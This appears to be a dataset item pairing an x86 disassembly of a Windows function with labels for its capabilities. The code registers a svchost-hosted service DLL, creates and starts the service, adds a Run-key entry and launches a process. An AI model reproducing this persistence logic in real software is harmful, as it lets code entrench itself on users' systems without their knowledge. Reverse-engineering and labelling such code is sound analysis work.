Function at 0x1000d830
Capabilities:
Accept command line arguments
Access peb ldr_data
Create process on windows
Create service
Modify service
Persist via run registry key
Persist via windows service
Read .ini file
Resolve function by parsing pe exports
Set registry value
Start service

Disassembly:
push 0xffffffffffffffff
push 0x10044c93
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1d4
mov eax, dword [0x10054f08]
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebp, ecx
mov ebx, 1
mov ecx, 0x10054f08
mov dword [esp + 0x28], ebp
mov dword [esp + 0x40], ebx
mov dword [esp + 0x3c], edi
xor esi, esi
mov dword [esp + 0x44], edi
mov dword [esp + 0x30], edi
mov dword [esp + 0x24], edi
mov dword [esp + 0x58], edi
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x4c], eax
mov edx, dword [0x10054f08]
mov ecx, 0x10054f08
mov dword [esp + 0x1ec], edi
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0x5c], eax
mov byte [esp + 0x1ec], bl
mov dword [esp + 0x38], edi
mov dword [esp + 0x54], edi
call fcn.1000f610
mov ecx, ebp
call fcn.100086d0
lea eax, [ebp + 0x220]
push eax
mov dword [esp + 0x80], eax
call fcn.10008120
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
lea ecx, [esp + 0x64]
call fcn.10009fb0
lea ecx, [esp + 0x60]
mov byte [esp + 0x1ec], 2
call fcn.100065e0
mov ecx, dword [esp + 0x60]
mov eax, dword [ecx - 0xc]
cmp eax, edi
jl 0x1000a150
push str._debug
push ecx
call fcn.10036a26
add esp, 8
cmp eax, edi
je 0x1000a150
sub eax, dword [esp + 0x60]
sar eax, 1
cmp eax, 0xffffffff
jne 0x1000a15d
call fcn.1000ece0
test eax, eax
mov dword [esp + 0x14], edi
je 0x1000a161
mov dword [esp + 0x14], ebx
mov eax, dword [ebp + 0x6a8]
mov ebx, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push eax
push 1
push 0x10047ed0
push str.Option
call ebx
test eax, eax
je 0x1000a31c
mov eax, dword [0x10054f08]
mov ecx, 0x10054f08
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x5c]
push ecx
lea edx, [esp + 0x14]
push edx
mov byte [esp + 0x1f4], 3
call fcn.1000fa10
add esp, 8
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x50]
call fcn.100066a0
mov eax, dword [esp + 0x10]
mov ecx, dword [eax - 4]
mov esi, 1
cmp ecx, esi
jle 0x1000a1e1
mov ecx, dword [eax - 0xc]
push ecx
lea ecx, [esp + 0x14]
call fcn.10004840
mov eax, dword [esp + 0x10]
push eax
call fcn.1000e370
add esp, 4
lea ecx, [esp + 0x10]
call fcn.10006580
mov ecx, dword [esp + 0x10]
cmp dword [ecx - 0xc], edi
jl 0x1000a21f
push str.VRKCYBER
push ecx
call fcn.10036a26
mov ecx, dword [esp + 0x18]
add esp, 8
cmp eax, edi
je 0x1000a21f
sub eax, ecx
sar eax, 1
cmp eax, 0xffffffff
je 0x1000a21f
mov dword [esp + 0x54], esi
cmp dword [str.SEHVGTEBJ_VV_BAR], edi
mov esi, 0x10053110
je 0x1000a26a
lea esp, [esp]
mov eax, dword [esi]
cmp eax, edi
je 0x1000a256
cmp dword [ecx - 0xc], edi
jl 0x1000a256
push eax
push ecx
call fcn.10036a26
mov ecx, dword [esp + 0x18]
add esp, 8
cmp eax, edi
je 0x1000a256
sub eax, ecx
sar eax, 1
cmp eax, 0xffffffff
jne 0x1000a262
mov eax, dword [esi + 4]
add esi, 4
cmp eax, edi
jne 0x1000a230
jmp 0x1000a26a
mov dword [esp + 0x3c], 1
lea edx, [esp + 0x48]
push edx
call fcn.1000fed0
add esp, 4
push 0xc
lea ecx, [esp + 0x1c]
push ecx
mov ecx, eax
mov byte [esp + 0x1f4], 4
call fcn.100059f0
mov eax, dword [eax]
push eax
mov byte [esp + 0x1f0], 5
call fcn.1000e180
mov esi, eax
mov eax, dword [esp + 0x1c]
add esp, 4
neg esi
sbb esi, esi
add eax, 0xfffffff0
neg esi
mov byte [esp + 0x1ec], 4
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x1000a2ce
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [esp + 0x48]
add eax, 0xfffffff0
mov byte [esp + 0x1ec], 3
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x1000a2f4
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
mov byte [esp + 0x1ec], 2
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x1000a320
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
jmp 0x1000a320
mov dword [esp + 0x40], edi
mov eax, dword [ebp + 0x6a8]
push eax
push 0xffffffffffffffff
push 0x100483c0
push str.Option
call ebx
cmp eax, 0xffffffff
mov dword [esp + 0x34], 1
je 0x1000a346
mov dword [esp + 0x34], eax
mov edi, dword [esp + 0x28]
mov eax, dword [edi + 0x6a8]
push eax
push 0
push 0x10048100
push str.Option
call ebx
mov dword [esp + 0x64], eax
mov eax, dword [edi + 0x6a8]
push eax
push 0
push 0x100483b8
push str.Option
call ebx
mov ebp, eax
mov eax, dword [0x10054f08]
mov ecx, 0x10054f08
call dword [eax + 0xc]
lea ebx, [eax + 0x10]
mov dword [esp + 0x48], ebx
mov eax, dword [ebx - 4]
mov edi, dword [edi + 0x6a8]
mov ecx, 1
sub ecx, eax
mov eax, dword [ebx - 8]
sub eax, 0x40
or eax, ecx
mov byte [esp + 0x1ec], 6
jge 0x1000a3bf
push 0x40
lea ecx, [esp + 0x4c]
call fcn.10004960
mov ebx, dword [esp + 0x48]
push edi
push 0x40
push ebx
push str.0.0001
push str.version
push str.Option
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
test ebx, ebx
jne 0x1000a3e0
xor eax, eax
jmp 0x1000a3f1
push ebx
call fcn.10036536
add esp, 4
test eax, eax
jl 0x1000b02f
cmp eax, dword [ebx - 8]
jg 0x1000b02f
mov ecx, dword [esp + 0x28]
mov dword [ebx - 0xc], eax
mov word [ebx + eax*2], 0
mov eax, dword [ecx + 0x6a8]
push eax
push ebx
push str.Newest
push str.Option
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
mov eax, dword [esp + 0x34]
test eax, eax
je 0x1000a433
test ebp, ebp
je 0x1000a433
mov dword [esp + 0x38], 1
call fcn.1000e490
mov ecx, dword [esp + 0x14]
test ecx, ecx
jne 0x1000a45c
test eax, eax
jne 0x1000a853
test esi, esi
jne 0x1000a853
mov eax, dword [esp + 0x3c]
test eax, eax
jne 0x1000a853
mov eax, dword [esp + 0x34]
test eax, eax
je 0x1000a853
mov edx, dword [0x10054f08]
mov ecx, 0x10054f08
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0x2c], eax
mov eax, dword [0x10054f08]
mov ecx, 0x10054f08
mov byte [esp + 0x1ec], 7
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x1c], eax
mov esi, dword [esp + 0x28]
mov eax, dword [esi + 0x6b4]
add esi, 0xc
test eax, eax
mov byte [esp + 0x1ec], 8
lea ecx, [esp + 0x1c]
jbe 0x1000a4cd
push eax
push 0x10047eac
push esi
push str._s_s_X
push ecx
call fcn.10006640
add esp, 0x14
jmp 0x1000a4d3
push esi
call fcn.10008600
mov edx, dword [0x10054f08]
mov ecx, 0x10054f08
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0x50], eax
push esi
lea eax, [esp + 0x54]
push str._s_service
push eax
mov byte [esp + 0x1f8], 9
call fcn.10006640
xor ebp, ebp
add esp, 0xc
xor edi, edi
mov dword [esp + 0x10], ebp
mov dword [esp + 0x14], edi
mov edx, dword [0x10054f08]
mov ecx, 0x10054f08
mov byte [esp + 0x1ec], 0xb
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0x20], eax
mov ebx, dword [esp + 0x1c]
push ebx
lea eax, [esp + 0x24]
push str.SYSTEMCurrentControlSet_services_sParameters
push eax
mov byte [esp + 0x1f8], 0xc
call fcn.10006640
add esp, 0xc
lea ecx, [esp + 0x18]
push ecx
push 0x2001f
push edi
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x2c], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, edi
jne 0x1000a581
mov ebp, dword [esp + 0x18]
push ebx
push ebx
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], ebp
call fcn.100034c0
mov ecx, dword [esp + 0x20]
lea edx, [esp + 0x98]
push edx
lea eax, [esp + 0x1c]
push eax
push edi
push 0x2001f
push edi
push edi
push edi
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x3c], edi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
cmp eax, edi
jne 0x1000a5e2
mov edx, dword [esp + 0x28]
mov edi, dword [edx + 0x6ac]
mov ebp, dword [esp + 0x18]
push edi
mov dword [esp + 0x18], ebp
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
push edi
push 2
push 0
push str.ServiceDll
push ebp
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebp, dword [esp + 0x10]
push esi
lea ecx, [esp + 0x30]
push str.__systemroot___system32_svchost.exe__k__s
push ecx
call fcn.10006640
add esp, 0xc
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
jne 0x1000a657
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
mov byte [esp + 0x1ec], 0xb
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x1000a63a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [esp + 0x14]
test eax, eax
je 0x1000a649
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebp, ebp
je 0x1000a7e5
push ebp
jmp 0x1000a7df
push 0xf01ff
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
jne 0x1000a774
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebp
cmp eax, 0x424
jne 0x1000a78f
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x50]
push esi
push esi
push esi
push esi
push 0x100482b8
push eax
mov ebp, 1
push ebp
push 2
push 0x10
push 0xf01ff
push ecx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov esi, eax
test esi, esi
jne 0x1000a705
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [esp + 0x20]
mov dword [esp + 0x30], eax
call fcn.10004cb0
lea ecx, [esp + 0x14]
call fcn.10001a20
lea ecx, [esp + 0x10]
call fcn.10001a20
lea ecx, [esp + 0x50]
call fcn.10004cb0
lea ecx, [esp + 0x1c]
call fcn.10004cb0
lea ecx, [esp + 0x2c]
mov byte [esp + 0x1ec], 6
call fcn.10004cb0
jmp 0x1000a853
xor eax, eax
mov dword [esp + 0x90], eax
mov dword [esp + 0x6c], eax
mov dword [esp + 0x70], eax
lea eax, [esp + 0x68]
push eax
push 2
lea edx, [esp + 0x88]
push esi
mov dword [esp + 0x8c], ebp
mov dword [esp + 0x90], 0xbb8
mov dword [esp + 0x94], ebp
mov dword [esp + 0x98], 0x7530
mov dword [esp + 0xa0], 0xea60
mov dword [esp + 0x74], 0xffffffff
mov dword [esp + 0x80], 3
mov dword [esp + 0x84], edx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
mov dword [esp + 0x44], eax
jne 0x1000a795
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1000a791
call ebp
mov dword [esp + 0x30], eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
mov byte [esp + 0x1ec], 0xb
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x1000a7c7
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [esp + 0x14]
test eax, eax
je 0x1000a7d6
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1000a7e5
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x50]
add eax, 0xfffffff0
mov byte [esp + 0x1ec], 8
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x1000a80b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
lea eax, [ebx - 0x10]
mov byte [esp + 0x1ec], 7
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x1000a82d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
mov byte [esp + 0x1ec], 6
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x1000a853
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [esp + 0x64]
xor edi, edi
cmp eax, edi
je 0x1000aa7b
cmp dword [esp + 0x34], edi
je 0x1000a871
cmp dword [esp + 0x44], edi
jne 0x1000aa7b
mov eax, dword [0x10054f08]
mov ecx, 0x10054f08
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x14], eax
mov ebx, dword [esp + 0x28]
mov ecx, dword [ebx + 0x6b0]
mov edx, dword [esp + 0x7c]
push str._tray
push ecx
push edx
lea eax, [esp + 0x20]
push str.__s_s.exe___s
push eax
mov byte [esp + 0x200], 0xd
call fcn.10006640
add esp, 0x14
lea ecx, [esp + 0x18]
push ecx
push 0x2001f
push edi
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
mov byte [esp + 0x200], 0xe
mov dword [esp + 0x2c], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, edi
jne 0x1000aa36
mov edi, dword [esp + 0x18]
mov edx, dword [0x10054f08]
mov ecx, 0x10054f08
mov dword [esp + 0x38], edi
call dword [edx + 0xc]
lea esi, [eax + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [0x10054f08]
mov ecx, 0x10054f08
mov byte [esp + 0x1ec], 0xf
mov dword [esp + 0x2c], 0x200
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x1c], eax
mov ecx, dword [ebx + 0x6b0]
push ecx
lea edx, [esp + 0x20]
push str._stray
push edx
mov byte [esp + 0x1f8], 0x10
call fcn.10006640
add esp, 0xc
lea ecx, [esp + 0x1c]
call fcn.100065e0
mov eax, dword [esi - 4]
mov ecx, 1
sub ecx, eax
mov eax, dword [esi - 8]
sub eax, 0x200
or eax, ecx
jge 0x1000a976
push 0x200
lea ecx, [esp + 0x1c]
call fcn.10004960
mov esi, dword [esp + 0x18]
mov ebp, dword [esp + 0x1c]
lea eax, [esp + 0x2c]
push eax
push esi
push ebp
lea ecx, [esp + 0x44]
call fcn.100018e0
test esi, esi
jne 0x1000a992
xor eax, eax
jmp 0x1000a9a3
push esi
call fcn.10036536
add esp, 4
test eax, eax
jl 0x1000b02f
cmp eax, dword [esi - 8]
jg 0x1000b02f
mov ecx, dword [esp + 0x14]
push esi
mov dword [esi - 0xc], eax
push ecx
mov word [esi + eax*2], 0
call fcn.1003661d
add esp, 8
test eax, eax
je 0x1000a9e8
mov edx, dword [esp + 0x14]
push 1
push edx
push ebp
lea ecx, [esp + 0x44]
call fcn.10003490
test eax, eax
je 0x1000a9e8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x58], eax
jmp 0x1000a9f0
mov dword [esp + 0x24], 1
lea eax, [ebp - 0x10]
mov byte [esp + 0x1ec], 0xf
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x1000aa12
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
lea eax, [esi - 0x10]
mov byte [esp + 0x1ec], 0xe
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x1000aa40
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
jmp 0x1000aa40
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x58], eax
test edi, edi
mov dword [esp + 0x38], 1
je 0x1000aa53
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
mov byte [esp + 0x1ec], 6
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x1000aa7f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
jmp 0x1000aa7f
mov ebx, dword [esp + 0x28]
mov eax, dword [esp + 0x40]
test eax, eax
je 0x1000ae86
mov eax, dword [0x10054f08]
mov ecx, 0x10054f08
call dword [eax + 0xc]
lea edx, [eax + 0x10]
mov dword [esp + 0x10], edx
mov eax, dword [edx - 4]
mov esi, dword [ebx + 0x6a8]
mov ecx, 1
sub ecx, eax
mov eax, dword [edx - 8]
sub eax, 0x20
or eax, ecx
mov byte [esp + 0x1ec], 0x11
jge 0x1000aad0
push 0x20
lea ecx, [esp + 0x14]
call fcn.10004960
mov edx, dword [esp + 0x10]
push esi
push 0x20
push edx
push 0x10048224
push str.instname
push str.Option
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov ecx, dword [esp + 0x10]
test ecx, ecx
jne 0x1000aaf5
xor eax, eax
jmp 0x1000ab0a
push ecx
call fcn.10036536
add esp, 4
test eax, eax
jl 0x1000b02f
mov ecx, dword [esp + 0x10]
cmp eax, dword [ecx - 8]
jg 0x1000b02f
mov dword [ecx - 0xc], eax
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x10]
push edx
mov word [ecx + eax*2], 0
call fcn.1000e8d0
mov esi, eax
add esp, 4
test esi, esi
je 0x1000ab3c
push esi
call fcn.10036536
add esp, 4
push eax
push esi
lea ecx, [esp + 0x18]
call fcn.10005c00
mov ebp, dword [esp + 0x3c]
test ebp, ebp
jne 0x1000abd6
mov eax, dword [esp + 0x10]
cmp dword [eax - 0xc], 5
jl 0x1000abd6
mov edx, dword [0x10054f08]
mov ecx, 0x10054f08
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0x40], eax
mov eax, dword [ebx + 0x6b0]
push eax
lea ecx, [esp + 0x44]
push str._s.exe
push ecx
mov byte [esp + 0x1f8], 0x12
call fcn.10006640
mov esi, dword [esp + 0x4c]
lea edx, [esp + 0x74]
push edx
mov dword [esp + 0x78], esi
mov dword [esp + 0x7c], str.uninstall.exe
mov dword [esp + 0x80], ebp
call fcn.1000efb0
lea eax, [esi - 0x10]
add esp, 0x10
mov byte [esp + 0x1ec], 0x11
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x1000abd6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [0x10054f08]
mov ecx, 0x10054f08
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x14], eax
lea ecx, [esp + 0x14]
push ecx
mov byte [esp + 0x1f0], 0x13
call fcn.1000f0c0
mov edx, dword [0x10054f08]
add esp, 4
mov ecx, 0x10054f08
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0x20], eax
mov byte [esp + 0x1ec], 0x14
call fcn.1000e490
mov edi, eax
mov eax, dword [esp + 0x54]
test eax, eax
je 0x1000ad47
mov eax, dword [0x10054f08]
mov ecx, 0x10054f08
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x1c], eax
mov ebp, dword [esp + 0x4c]
mov eax, dword [ebp - 0xc]
test eax, eax
mov bl, 0x15
mov byte [esp + 0x1ec], bl
jg 0x1000ac5c
or eax, 0xffffffff
jmp 0x1000ac74
push 0x2f
push ebp
call fcn.1003657c
add esp, 8
test eax, eax
jne 0x1000ac70
or eax, 0xffffffff
jmp 0x1000ac74
sub eax, ebp
sar eax, 1
push eax
lea ecx, [esp + 0x58]
push ecx
lea ecx, [esp + 0x54]
call fcn.100059f0
mov eax, dword [eax]
push eax
lea edx, [esp + 0x20]
push edx
mov byte [esp + 0x1f4], 0x16
call fcn.100088a0
mov eax, dword [esp + 0x5c]
add eax, 0xfffffff0
add esp, 8
mov byte [esp + 0x1ec], bl
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x1000acc0
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov esi, dword [esp + 0x1c]
mov eax, dword [esi - 0xc]
test eax, eax
jne 0x1000accf
mov esi, dword [esp + 0x5c]
mov eax, dword [esp + 0x3c]
test eax, eax
je 0x1000acdb
xor eax, eax
jmp 0x1000ace0
call fcn.1000e960
push ebp
push esi
push eax
push edi
call fcn.1000e400
mov ecx, dword [esp + 0x34]
mov edx, dword [esp + 0x74]
push eax
mov eax, dword [esp + 0x6c]
push eax
mov eax, dword [esp + 0x48]
push ecx
mov ecx, dword [esp + 0x60]
push edx
mov edx, dword [esp + 0x54]
push eax
mov eax, dword [esp + 0x38]
push ecx
push edx
push eax
lea ecx, [esp + 0x50]
push str._s_d:_d:_x_d:_d:_x_d_d_d_s:_s
push ecx
call fcn.10006640
mov eax, dword [esp + 0x54]
add eax, 0xfffffff0
add esp, 0x38
mov byte [esp + 0x1ec], 0x14
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x1000ad9b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
jmp 0x1000ad9b
test ebp, ebp
je 0x1000ad4f
xor eax, eax
jmp 0x1000ad54
call fcn.1000e960
mov ebp, dword [esp + 0x4c]
mov ecx, dword [esp + 0x5c]
push ebp
push ecx
push eax
push edi
call fcn.1000e400
mov edx, dword [esp + 0x68]
mov ecx, dword [esp + 0x74]
push eax
mov eax, dword [esp + 0x38]
push edx
mov edx, dword [esp + 0x48]
push eax
mov eax, dword [esp + 0x60]
push ecx
mov ecx, dword [esp + 0x54]
push edx
mov edx, dword [esp + 0x38]
push eax
push ecx
push edx
lea eax, [esp + 0x50]
push str._s_d:_d:_x_d:_d:_x_d_d_d_s:_s
push eax
call fcn.10006640
add esp, 0x38
mov edx, dword [esp + 0x20]
lea ecx, [esp + 0xe4]
mov dword [esp + 0xe0], ecx
push edx
lea ecx, [esp + 0xe4]
call fcn.100042b0
mov ecx, dword [esp + 0xe0]
lea eax, [esp + 0x20]
push eax
push ecx
mov byte [esp + 0x1f4], 0x17
call fcn.1000f2a0
mov eax, dword [esp + 0xe8]
lea edx, [esp + 0xec]
add esp, 8
cmp eax, edx
je 0x1000adf2
push eax
call fcn.1003633d
add esp, 4
mov eax, dword [esp + 0x28]
mov eax, dword [eax + 0x6a8]
mov ecx, dword [esp + 0x20]
push eax
push ecx
push 0x10048228
push str.Option
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
mov byte [esp + 0x1ec], 0x13
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x1000ae38
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
mov byte [esp + 0x1ec], 0x11
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x1000ae5e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
mov byte [esp + 0x1ec], 6
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x1000ae8a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
jmp 0x1000ae8a
mov ebp, dword [esp + 0x4c]
mov eax, dword [esp + 0x38]
test eax, eax
je 0x1000af70
mov eax, dword [0x10054f08]
mov ecx, 0x10054f08
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x24], eax
mov ecx, dword [esp + 0x28]
mov edx, dword [ecx + 0x6b0]
mov eax, dword [esp + 0x7c]
push str._tray
push edx
push eax
lea ecx, [esp + 0x30]
push str.__s_s.exe___s
push ecx
mov byte [esp + 0x200], 0x18
call fcn.10006640
mov esi, dword [esp + 0x38]
xor edx, edx
mov dword [esp + 0x7c], edx
xor eax, eax
mov dword [esp + 0x80], edx
mov ecx, 0x11
lea edi, [esp + 0xb0]
mov dword [esp + 0x84], edx
rep stosd dword es:[edi], eax
mov dword [esp + 0xb0], 0x44
mov dword [esp + 0x88], edx
mov eax, dword [esi - 4]
add esp, 0x14
cmp eax, 1
jle 0x1000af2c
mov eax, dword [esi - 0xc]
push eax
lea ecx, [esp + 0x28]
call fcn.10004840
mov esi, dword [esp + 0x24]
lea ecx, [esp + 0x68]
push ecx
lea edx, [esp + 0xa0]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
lea eax, [esi - 0x10]
mov byte [esp + 0x1ec], 6
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x1000af70
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov edx, dword [esp + 0x3c]
xor eax, eax
test edx, edx
setne al
mov byte [esp + 0x1ec], 2
or edx, 0xffffffff
mov esi, eax
mov eax, dword [esp + 0x48]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x1000afa3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [esp + 0x60]
add eax, 0xfffffff0
mov byte [esp + 0x1ec], 1
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x1000afc9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [esp + 0x5c]
add eax, 0xfffffff0
mov byte [esp + 0x1ec], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x1000afef
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
lea eax, [ebp - 0x10]
mov dword [esp + 0x1ec], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x1000b014
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov ecx, dword [esp + 0x1e4]
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1e0
ret
push 0x80070057
call fcn.10003290
int3
call fcn.10008640
mov ecx, eax
jmp 0x1000a060